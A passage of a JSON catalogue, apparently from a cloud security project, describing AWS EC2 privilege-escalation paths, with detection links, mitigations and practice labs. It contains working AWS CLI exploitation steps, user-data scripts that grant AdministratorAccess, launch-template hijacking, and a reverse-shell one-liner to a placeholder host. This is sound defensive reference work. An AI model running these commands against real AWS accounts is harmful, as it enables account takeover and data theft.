          "description": "The IAM role already attached to the target EC2 instance. This role must have an instance profile and trust ec2.amazonaws.com. When the malicious user data script executes, it has access to this role's credentials via the instance metadata service (IMDS) at http://169.254.169.254/latest/meta-data/iam/security-credentials/\n"
        },
        {
          "id": "method_userdata",
          "label": "Method 1: User Data Script Takes Action",
          "type": "payload",
          "color": "#99ccff",
          "description": "Configure the user data script to directly perform privileged AWS API actions when it executes. The script runs with access to the attached role's credentials via IMDS and can perform any action the role permits.\n\nThe malicious user data uses cloud-init's multipart MIME format with `cloud_final_modules: [scripts-user, always]` to force execution on subsequent boots. The script can:\n- Grant permissions to the starting principal (attach policies, create access keys)\n- Exfiltrate data from S3, RDS, DynamoDB, Secrets Manager\n- Modify security configurations\n- Any AWS API action the attached role has permissions for\n"
        },
        {
          "id": "method_reverse_shell",
          "label": "Method 2: Reverse Shell to Remote Listener",
          "type": "payload",
          "color": "#99ccff",
          "description": "Configure the user data script to establish a reverse shell connection to an attacker-controlled server. This provides interactive remote access with the attached role's credentials.\n\nThe malicious user data uses cloud-init configuration to force the script to execute on subsequent boots. The reverse shell command (e.g., `bash -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1`) connects to the attacker's listener, providing a shell session where the attacker can:\n- Query IMDS for temporary credentials\n- Execute arbitrary AWS CLI commands\n- Perform reconnaissance and data exfiltration\n- All commands execute with the attached role's permissions\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "The attached role has administrative permissions (AdministratorAccess or equivalent). Using either exploitation method, the attacker successfully leverages these permissions to gain full administrative access to the AWS account.\n"
        },
        {
          "id": "some_perms",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "The attached role has some elevated permissions (but not full admin). Using either exploitation method, the attacker can leverage these permissions for data exfiltration (S3, RDS, DynamoDB), modification of security configurations, or additional privilege escalation paths.\n"
        },
        {
          "id": "no_access",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "The attached role only has minimal permissions (like logs:PutLogEvents). Regardless of the exploitation method used, the privilege escalation provides minimal value, though it could still be useful for reconnaissance.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "target_instance",
          "label": "ec2:StopInstances + ec2:ModifyInstanceAttribute + ec2:StartInstances",
          "description": "Stop the target EC2 instance, modify its user data with a malicious script, and start the instance to trigger execution.\n\nCommands:\n```bash\n# Stop the instance\naws ec2 stop-instances --instance-ids $INSTANCE_ID\n\n# Create malicious user data with cloud-init configuration\nTEXT='Content-Type: multipart/mixed; boundary=\"//\"\nMIME-Version: 1.0\n\n--//\nContent-Type: text/cloud-config; charset=\"us-ascii\"\nMIME-Version: 1.0\nContent-Transfer-Encoding: 7bit\nContent-Disposition: attachment; filename=\"cloud-config.txt\"\n\n#cloud-config\ncloud_final_modules:\n- [scripts-user, always]\n\n--//\nContent-Type: text/x-shellscript; charset=\"us-ascii\"\nMIME-Version: 1.0\nContent-Transfer-Encoding: 7bit\nContent-Disposition: attachment; filename=\"userdata.txt\"\n\n#!/bin/bash\n# Malicious payload here\n--//'\nprintf \"%s\" \"$TEXT\" | base64 > /tmp/text.b64.txt\n\n# Modify user data\naws ec2 modify-instance-attribute \\\n  --instance-id \"$INSTANCE_ID\" \\\n  --attribute userData \\\n  --value \"file:///tmp/text.b64.txt\"\n\n# Start the instance\naws ec2 start-instances --instance-ids $INSTANCE_ID\n```\n\nThe cloud-init configuration forces the user data script to execute on every boot (not just initial launch).\n"
        },
        {
          "from": "target_instance",
          "to": "attached_role",
          "label": "Instance assumes role",
          "description": "When the instance boots, it automatically assumes the attached IAM role. The malicious user data script executes with access to the role's temporary credentials via the instance metadata service (IMDS).\n"
        },
        {
          "from": "attached_role",
          "to": "method_userdata",
          "label": "Option A",
          "description": "Use the user data script to directly execute AWS CLI commands when the instance boots. The script has access to the attached role's credentials via IMDS and can perform privileged actions immediately.\n\nExample: The script could attach AdministratorAccess to the starting principal, create access keys for a privileged user, or exfiltrate sensitive data.\n"
        },
        {
          "from": "attached_role",
          "to": "method_reverse_shell",
          "label": "Option B",
          "description": "Use the user data script to establish a reverse shell connection to an attacker-controlled server. This provides interactive access with the attached role's credentials available via IMDS.\n\nExample: `bash -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1`\n"
        },
        {
          "from": "method_userdata",
          "to": "admin",
          "label": "If attached role has admin permissions",
          "branch": "A1",
          "condition": "admin",
          "description": "The user data script executes with AdministratorAccess permissions and successfully grants the starting principal full administrative access or performs other privileged actions.\n"
        },
        {
          "from": "method_userdata",
          "to": "some_perms",
          "label": "If attached role has some elevated permissions",
          "branch": "A2",
          "condition": "some_permissions",
          "description": "The user data script executes with elevated permissions and can perform privileged actions within those permissions, such as data exfiltration or security configuration changes.\n"
        },
        {
          "from": "method_userdata",
          "to": "no_access",
          "label": "If attached role has minimal permissions",
          "branch": "A3",
          "condition": "no_permissions",
          "description": "The user data script has minimal permissions and provides limited value for privilege escalation.\n"
        },
        {
          "from": "method_reverse_shell",
          "to": "admin",
          "label": "If attached role has admin permissions",
          "branch": "B1",
          "condition": "admin",
          "description": "The reverse shell successfully connects and provides access to credentials with AdministratorAccess permissions, granting full administrative access to the AWS account.\n"
        },
        {
          "from": "method_reverse_shell",
          "to": "some_perms",
          "label": "If attached role has some elevated permissions",
          "branch": "B2",
          "condition": "some_permissions",
          "description": "The reverse shell connects and provides access to credentials with elevated permissions that can be used for data access or further escalation.\n"
        },
        {
          "from": "method_reverse_shell",
          "to": "no_access",
          "label": "If attached role has minimal permissions",
          "branch": "B3",
          "condition": "no_permissions",
          "description": "The reverse shell connects but the credentials have minimal permissions and provide limited value for privilege escalation.\n"
        }
      ]
    },
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/ec2-modifyinstanceattribute+stopinstances+startinstances",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      },
      "pwnedlabs": {
        "type": "closed-source",
        "description": "Hosted cloud security labs with AWS privilege escalation scenarios",
        "scenario": "https://pwnedlabs.io/labs/command-injection-to-ec2-user-data-privilege-escalation",
        "scenarioPricingModel": "paid"
      }
    },
    "gitMetadata": {
      "created": "2025-10-09T19:58:48Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/ec2/ec2-002.yaml"
  },
  {
    "id": "ec2-003",
    "name": "iam:PassRole + ec2:RequestSpotInstances",
    "category": "new-passrole",
    "services": [
      "iam",
      "ec2"
    ],
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L81",
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L205"
    },
    "permissions": {
      "required": [
        {
          "permission": "iam:PassRole",
          "resourceConstraints": "Must have access to a privileged role ARN that trusts ec2.amazonaws.com"
        },
        {
          "permission": "ec2:RequestSpotInstances",
          "resourceConstraints": "Must be able to request EC2 Spot Instances"
        }
      ],
      "additional": [
        {
          "permission": "iam:ListRoles",
          "resourceConstraints": "Helpful for discovering available roles to pass"
        },
        {
          "permission": "iam:GetRole",
          "resourceConstraints": "Useful for viewing role trust policies and permissions"
        },
        {
          "permission": "iam:ListInstanceProfiles",
          "resourceConstraints": "Helpful for finding instance profiles with privileged roles"
        },
        {
          "permission": "ec2:DescribeSpotInstanceRequests",
          "resourceConstraints": "Useful for verifying spot instance request status and getting instance details"
        },
        {
          "permission": "ec2:DescribeInstances",
          "resourceConstraints": "Helpful for verifying instance launch and monitoring status"
        }
      ]
    },
    "description": "A principal with `iam:PassRole` and `ec2:RequestSpotInstances` permissions can escalate privileges by requesting an EC2 Spot Instance with a privileged IAM instance profile. The Spot Instance launches with the privileged role's credentials, which can then be used to execute commands (via user-data scripts) that grant additional permissions to the starting principal. This technique is functionally identical to the standard `ec2:RunInstances` privilege escalation path, but uses Spot Instances instead. Security teams must understand that restricting `ec2:RunInstances` alone is insufficient - they must also restrict `ec2:RequestSpotInstances` to prevent the same attack vector. EC2 Spot Instances are spare compute capacity available at significantly discounted rates (up to 90% off On-Demand prices), making them particularly attractive for attackers executing privilege escalation while minimizing costs.",
    "prerequisites": {
      "admin": [
        "A role must exist that trusts ec2.amazonaws.com to assume it",
        "The role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)",
        "The role must have an instance profile associated with it",
        "A VPC and subnet must be available for launching the Spot Instance"
      ],
      "lateral": [
        "A role must exist that trusts ec2.amazonaws.com to assume it",
        "The role must have an instance profile associated with it",
        "A VPC and subnet must be available for launching the Spot Instance"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "# Get the AWS account ID\nACCOUNT_ID=$(aws sts get-caller-identity --query 'Account' --output text)\n\n# Find a suitable AMI (Amazon Linux 2023)\nAMI_ID=$(aws ec2 describe-images \\\n    --owners amazon \\\n    --filters \"Name=name,Values=al2023-ami-2023.*-x86_64\" \"Name=state,Values=available\" \\\n    --query 'Images | sort_by(@, &CreationDate) | [-1].ImageId' \\\n    --output text)\n\n# Get default VPC and subnet\nDEFAULT_VPC=$(aws ec2 describe-vpcs --filters \"Name=is-default,Values=true\" --query 'Vpcs[0].VpcId' --output text)\nDEFAULT_SUBNET=$(aws ec2 describe-subnets --filters \"Name=vpc-id,Values=$DEFAULT_VPC\" --query 'Subnets[0].SubnetId' --output text)\n",
          "description": "Gather necessary information including account ID, AMI, VPC, and subnet for launching the Spot Instance"
        },
        {
          "step": 2,
          "command": "# Create user-data script to attach AdministratorAccess to starting principal\nUSER_DATA=$(cat <<'EOF'\n#!/bin/bash\nexec > >(tee /var/log/user-data.log|logger -t user-data -s 2>/dev/console) 2>&1\necho \"Starting privilege escalation script...\"\n\nSTARTING_USER_NAME=\"YOUR_USERNAME_HERE\"\n\n# Wait for IAM role to be available\nsleep 15\n\n# Attach AdministratorAccess policy to the starting user\naws iam attach-user-policy \\\n  --user-name $STARTING_USER_NAME \\\n  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\n\necho \"AdministratorAccess attached to $STARTING_USER_NAME successfully\"\nEOF\n)\n\n# Base64 encode the user-data\nUSER_DATA_B64=$(echo \"$USER_DATA\" | base64 | tr -d '\\n')\n",
          "description": "Prepare a user-data script that will attach AdministratorAccess policy to your starting principal. Replace YOUR_USERNAME_HERE with your actual username."
        },
        {
          "step": 3,
          "command": "# Create launch specification for the Spot Instance\nLAUNCH_SPEC=$(cat <<EOF\n{\n  \"ImageId\": \"$AMI_ID\",\n  \"InstanceType\": \"t3.micro\",\n  \"IamInstanceProfile\": {\n    \"Name\": \"PRIVILEGED_INSTANCE_PROFILE_NAME\"\n  },\n  \"UserData\": \"$USER_DATA_B64\",\n  \"NetworkInterfaces\": [\n    {\n      \"DeviceIndex\": 0,\n      \"SubnetId\": \"$DEFAULT_SUBNET\",\n      \"AssociatePublicIpAddress\": true\n    }\n  ]\n}\nEOF\n)\n",
          "description": "Create the launch specification JSON for the Spot Instance request. Replace PRIVILEGED_INSTANCE_PROFILE_NAME with the name of the privileged instance profile you want to pass."
        },
        {
          "step": 4,
          "command": "# Request the Spot Instance with the privileged instance profile\naws ec2 request-spot-instances \\\n    --spot-price \"0.05\" \\\n    --instance-count 1 \\\n    --type \"one-time\" \\\n    --launch-specification \"$LAUNCH_SPEC\"\n",
          "description": "Request an EC2 Spot Instance with the privileged instance profile. This uses `iam:PassRole` to assign the privileged role to the Spot Instance."
        },
        {
          "step": 5,
          "command": "# Monitor the Spot Instance request status\naws ec2 describe-spot-instance-requests \\\n    --spot-instance-request-ids SPOT_REQUEST_ID \\\n    --query 'SpotInstanceRequests[0].[State,Status.Code,InstanceId]' \\\n    --output table\n",
          "description": "Monitor the Spot Instance request until it is fulfilled. Replace SPOT_REQUEST_ID with the ID from the previous command. Wait until the State is 'active' and Status is 'fulfilled'."
        },
        {
          "step": 6,
          "command": "# Wait 2-3 minutes for the instance to launch and execute the user-data script\n# Then verify that AdministratorAccess has been attached\naws iam list-attached-user-policies --user-name YOUR_USERNAME_HERE\n",
          "description": "Wait for the user-data script to execute (typically 2-3 minutes) and verify that the AdministratorAccess policy has been attached to your starting principal."
        },
        {
          "step": 7,
          "command": "# Verify administrator access by listing IAM users\naws iam list-users\n",
          "description": "Verify that you now have administrator access by listing IAM users or performing other admin-level actions."
        }
      ]
    },
    "limitations": "This path provides administrative access only if the passed role has administrative permissions (e.g., AdministratorAccess policy). If only limited roles are available, you gain access limited to those permissions. However, even limited access may enable multi-hop attacks or provide access to sensitive data.\n",
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.\n\n- **Avoid administrative service roles** - Very rarely does an EC2 Spot Instance need administrative access. Use the principle of least privilege.\n- **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services.\n\nUse IAM policy conditions to restrict which roles can be passed and to which services:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PassRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificEC2Role\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:PassedToService\": \"ec2.amazonaws.com\"\n    }\n  }\n}\n```\n\n- Apply the same security controls to `ec2:RequestSpotInstances` as you would to `ec2:RunInstances` - both provide equivalent privilege escalation paths\n- Monitor CloudTrail for unusual EC2 Spot Instance requests followed by immediate access\n- Monitor CloudTrail for Spot Instance launches by principals who do not usually create instances\n- Monitor CloudTrail for roles being passed to EC2 Spot Instances that haven't been used before\n- Monitor and alert on EC2 Spot Instance creation with privileged roles\n- Regularly audit EC2 instances (including Spot Instances) for excessive IAM permissions\n- Regularly audit all IAM roles that trust the EC2 service and down-scope any roles with administrative access\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "source": "HackTricks",
        "link": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/index.html#ec2requestspotinstancesiampassrole"
      },
      "derivativeOf": {
        "pathId": "ec2-001",
        "modification": "This variation uses ec2:RequestSpotInstances instead of ec2:RunInstances to launch instances at discounted spot pricing"
      },
      "ultimateOrigin": {
        "pathId": "ec2-001",
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2018,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      }
    },
    "references": [
      {
        "title": "AWS Privilege Escalation Methods - Rhino Security Labs",
        "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      },
      {
        "title": "HackTricks - AWS - EC2 Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/index.html#ec2requestspotinstancesiampassrole"
      }
    ],
    "relatedPaths": [
      "ec2-001",
      "ec2-002"
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/iam-passrole+ec2-requestspotinstances",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      },
      "cloudgoat": {
        "type": "open-source",
        "githubLink": "https://github.com/RhinoSecurityLabs/cloudgoat",
        "scenario": "iam_privesc_by_attachment",
        "description": "Deploy vulnerable infrastructure using CloudGoat to practice EC2 instance profile privilege escalation with PassRole (uses ec2:RunInstances but teaches the same PassRole concept)"
      },
      "cybr": {
        "type": "closed-source",
        "description": "Hosted learning environment with interactive AWS security labs",
        "scenario": "https://cybr.com/courses/iam-privilege-escalation-labs/",
        "scenarioPricingModel": "paid"
      }
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with `iam:PassRole` and `ec2:RequestSpotInstances` permissions. Can be an IAM user or role with access to pass a privileged IAM role to an EC2 Spot Instance."
        },
        {
          "id": "spot_instance",
          "label": "New EC2 Spot Instance",
          "type": "resource",
          "description": "The EC2 Spot Instance created via `ec2:RequestSpotInstances`. This instance is launched with a privileged IAM instance profile passed via `iam:PassRole`. Spot Instances are spare EC2 capacity available at up to 90% discount, making them cost-effective for attackers."
        },
        {
          "id": "target_role",
          "label": "Existing Role That Trusts the ec2 Service",
          "type": "principal",
          "description": "The privileged IAM role that the EC2 Spot Instance assumes through its instance profile. The role must trust `ec2.amazonaws.com` to assume it. The permissions of this role determine the attack's effectiveness."
        },
        {
          "id": "userdata_action",
          "label": "User-data script executes",
          "type": "payload",
          "color": "#99ccff",
          "description": "The user-data script runs automatically when the Spot Instance boots, executing with the target-role's credentials. The script attempts to attach the AdministratorAccess policy to the starting principal.\n\nExample user-data script:\n```bash\n#!/bin/bash\naws iam attach-user-policy \\\n  --user-name starting-principal-name \\\n  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\n```\n\nThe script's success depends on whether the target-role has IAM write permissions.\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "If the target-role has IAM write permissions (specifically `iam:AttachUserPolicy` or AdministratorAccess), the user-data script successfully attaches the AdministratorAccess policy to the starting principal. The starting principal now has full administrative access to the AWS account."
        },
        {
          "id": "some_perms",
          "label": "Limited Escalation Possible",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "If the target-role has some elevated permissions but lacks IAM write permissions, the user-data script fails to attach AdministratorAccess. However, the starting principal may still benefit from:\n- Using the Spot Instance as a pivot point to access resources the role can reach\n- Exfiltrating data the role has access to\n- Exploring additional privilege escalation paths available to the role\n"
        },
        {
          "id": "no_access",
          "label": "No Effective Escalation",
          "type": "outcome",
          "color": "#cccccc",
          "description": "If the target-role has minimal or read-only permissions, the user-data script fails to attach any policies, and there are no useful resources to access. No effective privilege escalation occurs, though the Spot Instance will still incur minimal costs."
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "spot_instance",
          "label": "iam:PassRole + ec2:RequestSpotInstances",
          "description": "The starting principal uses `ec2:RequestSpotInstances` to request an EC2 Spot Instance and `iam:PassRole` to pass a privileged IAM role via an instance profile.\n\nCommand:\n```bash\naws ec2 request-spot-instances \\\n  --spot-price \"0.05\" \\\n  --instance-count 1 \\\n  --type \"one-time\" \\\n  --launch-specification '{\n    \"ImageId\": \"ami-xxxxx\",\n    \"InstanceType\": \"t3.micro\",\n    \"IamInstanceProfile\": {\"Name\": \"privileged-instance-profile\"},\n    \"UserData\": \"base64-encoded-script\"\n  }'\n```\n\nThis creates a Spot Instance request with the privileged role attached.\n"
        },
        {
          "from": "spot_instance",
          "to": "target_role",
          "label": "Instance assumes role",
          "description": "When the Spot Instance launches, it automatically assumes the target-role through the IAM instance profile. The instance's metadata service provides temporary credentials for the role, which are available to any process running on the instance, including the user-data script."
        },
        {
          "from": "target_role",
          "to": "userdata_action",
          "label": "User-data script executes on boot",
          "description": "The user-data script executes automatically during instance initialization, running with the target-role's credentials. The script has full access to all permissions granted to the target-role, allowing it to make AWS API calls to attach policies to the starting principal."
        },
        {
          "from": "userdata_action",
          "to": "admin",
          "label": "If role has IAM write permissions",
          "branch": "A1",
          "condition": "admin",
          "description": "If the target-role has `iam:AttachUserPolicy` or equivalent IAM write permissions (such as AdministratorAccess), the user-data script successfully attaches the AdministratorAccess policy to the starting principal, granting full administrative access."
        },
        {
          "from": "userdata_action",
          "to": "some_perms",
          "label": "If role has some permissions but not IAM write",
          "branch": "A2",
          "condition": "some_permissions",
          "description": "If the target-role has elevated permissions to access resources (like S3, DynamoDB, Secrets Manager) but lacks IAM write permissions, the user-data script fails to attach AdministratorAccess. However, the starting principal may still pivot through the Spot Instance to access sensitive data or find additional escalation paths."
        },
        {
          "from": "userdata_action",
          "to": "no_access",
          "label": "If role has minimal permissions",
          "branch": "A3",
          "condition": "no_permissions",
          "description": "If the target-role only has minimal or read-only permissions, the user-data script fails and there are no useful resources to access. No effective privilege escalation occurs."
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-10-09T19:58:48Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/ec2/ec2-003.yaml"
  },
  {
    "id": "ec2-004",
    "name": "ec2:CreateLaunchTemplateVersion + ec2:ModifyLaunchTemplate",
    "category": "existing-passrole",
    "services": [
      "ec2",
      "iam"
    ],
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L92",
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L169"
    },
    "permissions": {
      "required": [
        {
          "permission": "ec2:CreateLaunchTemplateVersion",
          "resourceConstraints": "Must be able to create new versions of existing launch templates"
        },
        {
          "permission": "ec2:ModifyLaunchTemplate",
          "resourceConstraints": "Must be able to modify launch template default version"
        }
      ],
      "additional": [
        {
          "permission": "ec2:DescribeLaunchTemplates",
          "resourceConstraints": "Helpful for discovering existing launch templates to target"
        },
        {
          "permission": "ec2:DescribeLaunchTemplateVersions",
          "resourceConstraints": "Useful for viewing existing template configuration including instance profiles"
        },
        {
          "permission": "iam:ListRoles",
          "resourceConstraints": "Helpful for discovering privileged roles already configured in templates"
        },
        {
          "permission": "iam:ListInstanceProfiles",
          "resourceConstraints": "Useful for identifying instance profiles with privileged roles"
        },
        {
          "permission": "autoscaling:DescribeAutoScalingGroups",
          "resourceConstraints": "Helpful for identifying which ASGs use the target launch template"
        },
        {
          "permission": "ec2:DescribeInstances",
          "resourceConstraints": "Useful for monitoring instance launches and verifying user data execution"
        },
        {
          "permission": "autoscaling:SetDesiredCapacity",
          "resourceConstraints": "Helpful for triggering instance launches via Auto Scaling Groups"
        }
      ]
    },
    "description": "A principal with `ec2:CreateLaunchTemplateVersion` and `ec2:ModifyLaunchTemplate` permissions can escalate privileges by modifying an existing launch template that already references a privileged IAM role. The attacker creates a new template version that keeps the existing privileged role reference but injects malicious user data, then sets this version as the default. Crucially, this attack does NOT require `iam:PassRole` permissions because the attacker is simply referencing a role that already exists in a previous template version. When the next EC2 instance launches from the template (via Auto Scaling Groups, scheduled tasks, or manual launches), it automatically receives the privileged role and executes the malicious user data script, which can grant the attacker persistent administrative access. This is particularly dangerous in environments with auto-scaling policies or scheduled instance launches, where the malicious configuration may activate without any further attacker interaction. EC2 launch templates are commonly used with Auto Scaling Groups to define instance configuration including AMI, instance type, security groups, IAM instance profile, and user data scripts.",
    "prerequisites": {
      "admin": [
        "A launch template must exist that references an IAM role with administrative permissions in a previous version",
        "The template must be used by Auto Scaling Groups, scheduled tasks, or manual instance launches",
        "The attacker must be able to trigger or wait for an instance launch from the modified template"
      ],
      "lateral": [
        "A launch template must exist that references an IAM role with some elevated permissions",
        "The template must be used by Auto Scaling Groups, scheduled tasks, or manual instance launches"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "# Discover existing launch templates\naws ec2 describe-launch-templates \\\n  --query 'LaunchTemplates[*].[LaunchTemplateName,LaunchTemplateId,DefaultVersionNumber]' \\\n  --output table\n",
          "description": "Enumerate existing launch templates to identify targets for modification."
        },
        {
          "step": 2,
          "command": "# Get template details including instance profile\naws ec2 describe-launch-template-versions \\\n  --launch-template-id lt-xxxxxxxxxxxxx \\\n  --versions '$Default' \\\n  --query 'LaunchTemplateVersions[0].LaunchTemplateData'\n",
          "description": "Inspect the target launch template to identify templates that already have privileged IAM instance profiles configured. Look for templates with admin or elevated instance profiles. Replace lt-xxxxxxxxxxxxx with actual template ID."
        },
        {
          "step": 3,
          "command": "# Prepare malicious user data script\ncat > user-data.sh <<'EOF'\n#!/bin/bash\nexec > >(tee /var/log/user-data.log|logger -t user-data -s 2>/dev/console) 2>&1\necho \"Starting privilege escalation script...\"\n\nSTARTING_USER_NAME=\"YOUR_USERNAME_HERE\"\n\n# Wait for IAM role to be available\nsleep 15\n\n# Attach AdministratorAccess policy to the starting user\naws iam attach-user-policy \\\n  --user-name $STARTING_USER_NAME \\\n  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\n\necho \"AdministratorAccess attached to $STARTING_USER_NAME successfully\"\nEOF\n\n# Base64 encode the user data\nUSER_DATA_B64=$(cat user-data.sh | base64 | tr -d '\\n')\n",
          "description": "Prepare a malicious user data script that will attach AdministratorAccess policy to your starting principal. Replace YOUR_USERNAME_HERE with your actual username."
        },
        {
          "step": 4,
          "command": "# Create a new launch template version with malicious user data\n# Keep the same instance profile from the existing version (no PassRole needed)\naws ec2 create-launch-template-version \\\n  --launch-template-id lt-xxxxxxxxxxxxx \\\n  --source-version 1 \\\n  --launch-template-data \"{\n    \\\"IamInstanceProfile\\\": {\n      \\\"Name\\\": \\\"EXISTING_PRIVILEGED_INSTANCE_PROFILE\\\"\n    },\n    \\\"UserData\\\": \\\"$USER_DATA_B64\\\"\n  }\"\n",
          "description": "Create a new launch template version that references the existing privileged instance profile and includes the malicious user data. Replace lt-xxxxxxxxxxxxx with the target template ID and EXISTING_PRIVILEGED_INSTANCE_PROFILE with the instance profile name found in step 2. Note that this does NOT require iam:PassRole since you're referencing an existing role configuration."
        },
        {
          "step": 5,
          "command": "# Set the new version as the default\naws ec2 modify-launch-template \\\n  --launch-template-id lt-xxxxxxxxxxxxx \\\n  --default-version NEW_VERSION_NUMBER\n",
          "description": "Modify the launch template to set the malicious version as the default. Replace NEW_VERSION_NUMBER with the version number from step 4. All future instance launches will now use this malicious configuration."
        },
        {
          "step": 6,
          "command": "# Trigger instance launch (if template is used by an ASG)\naws autoscaling set-desired-capacity \\\n  --auto-scaling-group-name TARGET_ASG_NAME \\\n  --desired-capacity 1\n",
          "description": "Trigger an instance launch. If the template is used by an Auto Scaling Group, you can increase the desired capacity. Alternatively, wait for auto-scaling events or scheduled instance launches to trigger automatically."
        },
        {
          "step": 7,
          "command": "# Wait 2-3 minutes, then verify AdministratorAccess was attached\naws iam list-attached-user-policies --user-name YOUR_USERNAME_HERE\n",
          "description": "Wait for the instance to launch and execute the user data script (typically 2-3 minutes), then verify that AdministratorAccess has been attached to your starting principal."
        },
        {
          "step": 8,
          "command": "# Verify administrator access\naws iam list-users\n",
          "description": "Verify that you now have administrator access by listing IAM users or performing other admin-level actions."
        }
      ]
    },
    "limitations": "This path provides administrative access only if the target launch template already references a role with administrative permissions. If the existing template only references roles with limited permissions, the attacker gains access limited to those permissions.\n\nImportantly, this attack does NOT require `iam:PassRole` permissions because the attacker is simply referencing an IAM role that already exists in a previous template version. This makes it harder to detect than traditional PassRole-based attacks.\n",
    "recommendation": "Restrict `ec2:CreateLaunchTemplateVersion` and `ec2:ModifyLaunchTemplate` permissions using resource-based policies to limit which templates can be modified:\n\n{\n  \"Effect\": \"Allow\",\n  \"Action\": [\n    \"ec2:CreateLaunchTemplateVersion\",\n    \"ec2:ModifyLaunchTemplate\"\n  ],\n  \"Resource\": \"arn:aws:ec2:*:ACCOUNT:launch-template/specific-template-id\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"aws:ResourceTag/Environment\": \"dev\"\n    }\n  }\n}\n\nUse Service Control Policies (SCPs) to prevent launch template modifications in production environments unless from approved automation roles.\n\nMonitor CloudTrail for `CreateLaunchTemplateVersion` and `ModifyLaunchTemplate` API calls, especially on templates that reference privileged instance profiles. Alert when default versions are changed.\n\nPin Auto Scaling Groups to specific launch template versions (e.g., `$Latest` or version number) rather than using `$Default`, preventing automatic use of modified default versions.\n\nMonitor EC2 user data for suspicious IAM-related commands using AWS Config rules or custom Lambda functions that inspect new template versions.\n\nRegularly audit existing launch templates to identify those with privileged instance profiles and restrict modification permissions to only necessary principals.\n\nImplement approval workflows for launch template changes using AWS Service Catalog or custom automation with human approval steps.\n\nEnable MFA requirements for sensitive operations like launch template modifications using `aws:MultiFactorAuthPresent` condition keys.\n\nUse IAM Access Analyzer to identify principals with template modification permissions on templates containing privileged roles.\n\nConsider using EC2 Image Builder with locked-down instance profiles instead of relying on user data for configuration.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "source": "HackTricks",
        "link": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/index.html#ec2createlaunchtemplateversionec2createlaunchtemplateec2modifylaunchtemplate"
      },
      "derivativeOf": {
        "pathId": "ec2-001",
        "modification": "Uses ec2:CreateLaunchTemplateVersion and ec2:ModifyLaunchTemplate to modify existing templates without requiring iam:PassRole"
      },
      "ultimateOrigin": {
        "pathId": "ec2-001",
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2018,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      }
    },
    "references": [
      {
        "title": "AWS EC2 Launch Templates Documentation",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-launch-templates.html"
      },
      {
        "title": "AWS Privilege Escalation Methods - Rhino Security Labs",
        "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      },
      {
